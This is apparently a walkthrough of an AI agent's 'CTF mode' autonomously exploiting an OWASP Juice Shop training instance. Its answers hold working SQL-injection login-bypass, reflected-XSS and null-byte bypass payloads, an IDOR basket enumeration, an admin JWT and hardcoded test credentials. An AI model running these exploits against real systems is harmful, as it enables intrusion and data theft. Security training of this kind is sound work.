What CTF mode is
CTF mode turns HackerGPT into an autonomous web-exploitation agent. You give it a
target URL; it fingerprints the app, maps the attack surface from the static frontend,
then drives a real browser session to exploit vulnerabilities — chaining recon, payload
crafting, encoding/decoding and a persistent session memory. This guide documents a live
run against https://cybergym.hackergpt.app (an OWASP Juice Shop instance), captured step by step from
the HackerGPT interface.
Every action below was performed by the agent against an intentionally
vulnerable, authorised training target. The screenshots are the unedited HackerGPT UI
driving the attack.
Challenge-by-challenge
Recon01. Reconnaissance & attack-surface mapping
Establishes the CTF session and target, fingerprints the app, mirrors the frontend bundle and greps it for endpoints and secrets to build the attack-surface map.

Result — Reconnaissance & attack-surface mapping
AGENT FINAL ANSWER✅ Analysis Complete — cybergym.hackergpt.app
Here's the full breakdown from fingerprinting, frontend mirroring, and deep JavaScript inspection:
🔍 Fingerprint
Property Value
Server nginx
IP 34.231.169.117 (AWS US East)
Title CyberGym
jQuery 2.2.4 (outdated, 2016)
Uncommon Headers access-control-allow-origin, x-content-type-options, feature-policy, x-recruiting
🎯 Identity
This is OWASP Juice Shop v19.1.1 rebranded as "CyberGym" — a deliberately vulnerable web application for security training. The index.html meta tag confirms: "a deliberately insecure web app for security training and CTFs".
🔑 Hardcoded Credentials & Secrets
Type Value Source Line
Google OAuth Client ID 1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com main.js:4454
Test Username testing@juice-sh.op main.js:4457
Test Password IamUsedForTesting main.js:4458
Privacy Contact donotreply@cybergym.local main.js:6416
Bitcoin Donation 1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm main.js:7360
Dash Donation Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW main.js:7370
Ether Donation 0x0f933ab9fCAAA782D0279C300D73750e1311EAE6 main.js:7380
🎟️ Coupon Codes (Client-Side Validated → Bypassable)
Code Valid Date Discount
WMNSDY2019 2019-03-08 75%
WMNSDY2020 2020-03-08 75%
WMNSDY2021 2021-03-08 75%
WMNSDY2022 2022-03-08 75%
WMNSDY2023 2023-03-08 75%
ORANGE2020 2020-05-04 80%
ORANGE2021 2021-05-04 80%
ORANGE2022 2022-05-04 80%
ORANGE2023 2023-05-04 80%
⚠️ Date check is this.clientDate vs validOn — client-side only. Coupon is sent to /rest/basket/{id}/coupon/{coupon} — the server may accept it regardless.
🌐 Complete API Endpoint Map (50+ endpoints)
Admin (no auth required!):
GET /rest/admin/application-configuration
GET /rest/admin/application-version
Auth & Users:
POST /rest/user/login | GET /rest/user/whoami
GET /rest/user/change-password?current=&new=&repeat= ⚠️ GET with query params
POST /rest/user/reset-password
GET /rest/user/security-question?email= ⚠️ user enumeration
POST /rest/user/erasure-request | POST /rest/user/data-export
GET/POST /api/Users/
Products & Search:
GET /rest/products/search?q= ⚠️ SQLi vector
GET/PUT /api/Products/ | GET/PUT /api/Quantitys/
Basket & Orders:
GET /rest/basket/{id} | POST /rest/basket/{id}/checkout
PUT /rest/basket/{id}/coupon/{coupon}
GET/POST/PUT/DELETE /api/BasketItems/
GET /rest/order-history | GET /rest/track-order/{id}
Payments & Wallet:
GET/POST/DELETE /api/Cards/
GET/PUT /rest/wallet/balance
GET/POST /rest/deluxe-membership
2FA:
GET /rest/2fa/status | POST /rest/2fa/setup | POST /rest/2fa/verify | POST /rest/2fa/disable
Misc:
GET /rest/captcha/ | GET /rest/image-captcha/
GET/POST /rest/chatbot/status / respond
GET/POST /api/Feedbacks/ | POST /api/Complaints/
GET/POST /api/Recycles/ | GET/POST/PUT/DELETE /api/Addresss/
GET /api/Deliverys/ | GET/POST /api/SecurityAnswers/ | GET /api/SecurityQuestions/
GET/PUT /api/Hints/ | GET /api/Challenges/
GET/POST /rest/memories/ | GET /rest/languages | GET /rest/country-mapping
POST /file-upload | GET /snippets/{key} | POST /snippets/fixes
GET /ftp/ ⚠️ path traversal
Socket.IO at /socket.io
🚨 Top 11 Vulnerabilities
# Vulnerability Severity Detail
1 SQL Injection 🔴 Critical /rest/products/search?q=
2 XSS (bypassSecurityTrustHtml) 🔴 High Search, order IDs, feedback, product descriptions, lastLoginIp
3 Path Traversal via FTP 🔴 High /ftp/ directory served; orderId unsanitized
4 Client-Side Coupon Bypass 🟠 Medium Date check in browser; server may accept any coupon
5 Client-Side Role Checks 🟠 Medium JWT decoded in browser; admin/accounting guards client-only
6 Token in localStorage 🟠 Medium JWT stealable via XSS; not HttpOnly
7 Weak OAuth Password 🟠 Medium btoa(email.split("").reverse().join("")) — predictable
8 Password Change via GET 🟡 Low Credentials in URL query string
9 User Enumeration 🟡 Low /rest/user/security-question?email=
10 Admin Config Leak 🟡 Low /rest/admin/application-configuration no auth
11 jQuery 2.2.4 🟡 Low Outdated library, potential DOM XSS
🧭 Recommended Next Steps
Test SQLi → GET /
SQL Injection02. SQL Injection — Login Admin
Classic `' OR 1=1--` authentication bypass against /rest/user/login, yielding the admin session token.

Result — SQL Injection — Login Admin
AGENT FINAL ANSWER🏆 Challenge Solved: Login Admin
🔓 Exploit: SQL Injection Authentication Bypass
Payload:
text
Copy
POST /rest/user/login
{"email": "' OR 1=1--", "password": "anything"}
The email field is directly interpolated into a SQL query without sanitization. The injected ' OR 1=1-- closes the string, adds an always-true condition, and comments out the rest — returning the first user in the database.
👤 Admin Account
Field Value
Email admin@juice-sh.op
User ID 1
Role admin
Password Hash 0192023a7bbd73250516f069df18b500 (MD5 → admin123)
2FA ❌ Not configured
Deluxe ❌ Not activated
Active ✅ Yes
🎫 Admin JWT
text
Copy
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc4MTc4Njg3M30.hsIG7kXQf-dKSg9mTvEoIsZOakE1tKNZVJLkZOHBFxh6jqjYah-PulU__YnSCK87AYZtyOL0iCIjwpuLuBJM9RJ2ulpnxk5isY5vllZl96aMgK4BLmnKO3bsQY7TH8kWvc30cUYk-q_uGyNeO1A9jCNHTs-1OfhTf8RWlX1zG94
🧠 Why It Worked
The backend SQL query looks something like:
sql
Copy
SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...'
' closes the email string
OR 1=1 makes the WHERE clause always true
-- comments out the password check
The query returns all users, and the app picks the first row → admin
Ready to use this admin JWT for the next challenge? Want me to hit /rest/admin/application-configuration or try another vector?
Broken Access Control (IDOR)03. Broken Access Control — View another user's basket
Changes the basket id from our own to another user's — the endpoint performs no ownership check.

Result — Broken Access Control — View another user's basket
AGENT FINAL ANSWER🏆 Challenge Solved: View Basket (IDOR)
🔓 Vulnerability: Insecure Direct Object Reference (IDOR)
The /rest/basket/{id} endpoint performs no ownership verification. Any authenticated user can view any other user's basket by simply changing the numeric ID in the URL.
🧪 Exploit
text
Copy
GET /rest/basket/2
Authorization: Bearer <admin JWT (UserId 1)>
Authenticated as admin (UserId 1), but accessed Basket 2 belonging to UserId 2 — the server never checks basket.UserId === token.userId.
📊 All Baskets Enumerated
Basket ID Owner (UserId) Contents
1 1 (admin) 🥤 Recon Energy Drink ×2, 💪 Brute-Force Booster ×3, 🥊 Payload Punch ×1
2 2 🥧 Pi Overclock Cola ×2
3 3 🥧 Pi Overclock Cola ×1
4 11 🥧 Pi Overclock Cola ×2
🎯 What Made It Work
text
Copy
┌─────────────────────────────────────────────────────────┐
│ GET /rest/basket/2 │
│ Authorization: Bearer <JWT with UserId=1> │
│ │
│ Server: │
│ SELECT * FROM Baskets WHERE id = 2 ← no UserId check│
│ Returns Basket 2 (owned by UserId 2) ✓ │
│ │
│ ❌ Missing: WHERE id = 2 AND UserId = <token.userId> │
└─────────────────────────────────────────────────────────┘
The fix would be: WHERE id = :basketId AND UserId = :authenticatedUserId
Two challenges down. Ready for the next one — want me to go after the coupon bypass, XSS, path traversal, or something else?
Cross-Site Scripting04. Reflected XSS — order tracking
Injects an iframe/javascript payload into the track-order id, which is reflected unsanitised into the response.

Result — Reflected XSS — order tracking
AGENT FINAL ANSWER🏆 Challenge Solved: Reflected XSS
🔓 Vulnerability: Unsanitized Order ID Reflection via bypassSecurityTrustHtml
The /rest/track-order/{id} endpoint reflects the user-supplied orderId directly in the JSON response without any sanitization. The Angular frontend then renders this value using bypassSecurityTrustHtml, which explicitly disables Angular's built-in XSS protection.
🎯 Payload
text
Copy
<iframe src="javascript:alert(`xss`)">
URL-encoded:
text
Copy
/#/track-result?id=%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E
📡 Reflected Response
text
Copy
GET /rest/track-order/%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E
json
Copy
{
"status": "success",
"data": [
{
"orderId": "<iframe src=\"javascript:alert(`xss`)\">"
}
]
}
🔗 Attack Chain
text
Copy
┌──────────────────────────────────────────────────────────────────┐
│ 1. User visits: │
│ /#/track-result?id=<iframe src="javascript:alert(`xss`)"> │
│ │
│ 2. Angular calls: │
│ GET /rest/track-order/<iframe src="javascript:alert(`xss`)">│
│ │
│ 3. Server responds with: │
│ {"orderId": "<iframe src=\"javascript:alert(`xss`)\">"} │
│ │
│ 4. Angular renders orderId via bypassSecurityTrustHtml() │
│ → <iframe> injected into DOM │
│ │
│ 5. 💥 alert('xss') fires │
└──────────────────────────────────────────────────────────────────┘
🧠 Root Cause
In main.js line ~2673:
javascript
Copy
this.orderId = this.route.snapshot.queryParams.id;
this.trackOrderService.find(this.orderId).subscribe(...)
The orderId from the URL query parameter is:
Sent to /rest/track-order/{id} — server reflects it verbatim
Rendered in the template with bypassSecurityTrustHtml — Angular sanitizer bypassed
✅ Confirmation
The challenge banner confirms success:
"You successfully solved a challenge: Reflected XSS (Perform a reflected XSS attack with <iframe src="javascript:alert(\xss`)">`.)"
Three challenges down! Ready for the next — want me to go after SQL injection in product search, path traversal via /ftp/, coupon bypass, or something else?
Sensitive Data Exposure05. Sensitive Data Exposure — exposed endpoints
Pulls exposed operational data (Prometheus /metrics, the /ftp listing, or test credentials baked into main.js).

Result — Sensitive Data Exposure — exposed endpoints
AGENT FINAL ANSWER✅ Sensitive Data Exposure — Confirmed
Detail Value
Endpoint GET /ftp — open directory listing, no auth required
Confirmed Leak GET /ftp/acquisitions.md → 200 OK
File Content Confidential M&A document marked "Do not distribute!"
Other Exposed Files incident-support.kdbx (KeePass DB), legal.md, coupons_2013.md.bak, package.json.bak, package-lock.json.bak, suspicious_errors.yml, eastere.gg, encrypt.pyc, announcement_encrypted.md
Saved Payload #260
Summary
The /ftp directory on cybergym.hackergpt.app is completely unauthenticated and openly browsable, exposing internal confidential files — including a KeePass password database (incident-support.kdbx), internal legal documents, and a confidential acquisitions plan. This is a textbook Sensitive Data Exposure vulnerability (OWASP A3:2017).
Encoding / Decoding06. Encoding / Decoding — layered secret
Demonstrates the decode_data tool peeling Base64 then ROT13 to recover a hidden path.

Result — Encoding / Decoding — layered secret
AGENT FINAL ANSWERNow I have the complete picture. Let me present the layered-encoded secret solution clearly, along with all the Sensitive Data Exposure findings.
🏆 Sensitive Data Exposure — Multiple Challenges Solved
🔑 Layered-Encoded Secret: Base64 → ROT13
Found in /ftp/eastere.gg (accessed via null byte bypass %2500.md):
Raw encoded string:
text
Copy
L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==
Decode chain:
Layer Operation Output
1 Base64 /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt
2 ROT13 /the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
Final destination:
https://cybergym.hackergpt.app/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg
→ 🪐 "Welcome to Planet Orangeuze" (3D Three.js scene)
📂 All Exposed Sensitive Files
text
Copy
┌─────────────────────────────────────────────────────────────────────┐
│ /ftp/ ← Directory listing publicly accessible │
│ │
│ ✅ acquisitions.md Confidential acquisition plans │
│ ✅ legal.md Legal terms (not sensitive) │
│ ✅ announcement_encrypted.md 369KB encrypted document │
│ │
│ 🔓 coupons_2013.md.bak Forgotten sales backup (null byte) │
│ 🔓 package.json.bak Forgotten developer backup (null byte) │
│ 🔓 suspicious_errors.yml Misplaced signature file (null byte) │
│ 🔓 eastere.gg Easter egg → Base64+ROT13 secret │
│ 🔓 encrypt.pyc RSA encryption script (null byte) │
│ │
│ /ftp/quarantine/ Malware samples directory │
│ 🔒 juicy_malware_*.url Blocked (quarantine path differs) │
│ │
│ /metrics Prometheus metrics exposed │
└─────────────────────────────────────────────────────────────────────┘
🧪 Null Byte Bypass Technique
text
Copy
Bypass: %2500.md → nginx passes %2500 → Express decodes to %00
↓
Extension check sees: file.bak%00.md → ends with ".md" ✓
File system reads: file.bak%00 → truncated at null → file.bak
🔐 Bonus: encrypt.pyc Reveals Weak RSA
The Python bytecode in encrypt.pyc exposes:
Modulus N: "rlEU" — only 4 bytes (32-bit) → factorable in milliseconds
Exponent e: 5 bytes
Input: announcement.mdt → Output: announcement_encrypted.md (369KB, already in /ftp/!)
This means announcement_encrypted.md can be decrypted by factoring the trivial RSA key.
🎯 Challenges Triggered
Challenge How
Confidential Document Accessed /ftp/acquisitions.md
Forgotten Sales Backup Null byte bypass → coupons_2013.md.bak
Forgotten Developer Backup Null byte bypass → package.json.bak
Misplaced Signature File Null byte bypass → suspicious_errors.yml
Easter Egg Base64→ROT13 decode → Planet Orangeuze page
Poison Null Byte %2500.md bypass on extension filter
Leaked Unsafe Product /ftp/quarantine/ directory exposed
Exposed Metrics /metrics Prometheus endpoint
Ready to tackle the RSA decryption of announcement_encrypted.md or move to another challenge?
The CTF workspace
Solving is only half of CTF mode. As the agent works it builds a
live workspace alongside the chat: a raw Network log of every
request/response (from which any request can be promoted to a payload with
Save as Payload), a Payloads vault of saved exploit requests you
can expand and Replay, an auto-discovered API Map of the target's
backend, and a persistent Memory scratchpad. Below, the agent confirms
two vulnerabilities and persists them, then we drive the workspace by hand —
including saving a fresh request straight from the Network log.

Fresh CTF session, CTF mode active (placeholder asks for a web target).

Prompting HackerGPT to confirm two exploits, persist each with save_payload, and note findings to memory.

Agent finished — summary of the confirmed exploits and the payloads it persisted.

Payloads tab: the saved exploit requests, each with its label, method, URL and captured response.

A saved payload expanded — the full request (method, URL, headers, body) and captured response, with Copy and Replay actions.

Replaying the saved payload — HackerGPT re-sends the exact request live and shows the fresh response.

API Map tab: the backend API surface auto-discovered for the target (endpoints, methods, parameters) from the crawl.

Memory tab: the agent's persistent CTF scratchpad — findings, credentials, confirmed vulns and next-steps that carry across turns.

Network tab: the raw request/response log captured live from the agent's browser session.

A network entry expanded — full request (method, URL, headers) and response body, with a 'Save as Payload' action.

Clicking 'Save as Payload' promotes this raw request straight from the Network log into the Payloads vault.

Back in the Payloads tab: the request saved from the Network log now sits alongside the earlier exploits, ready to replay.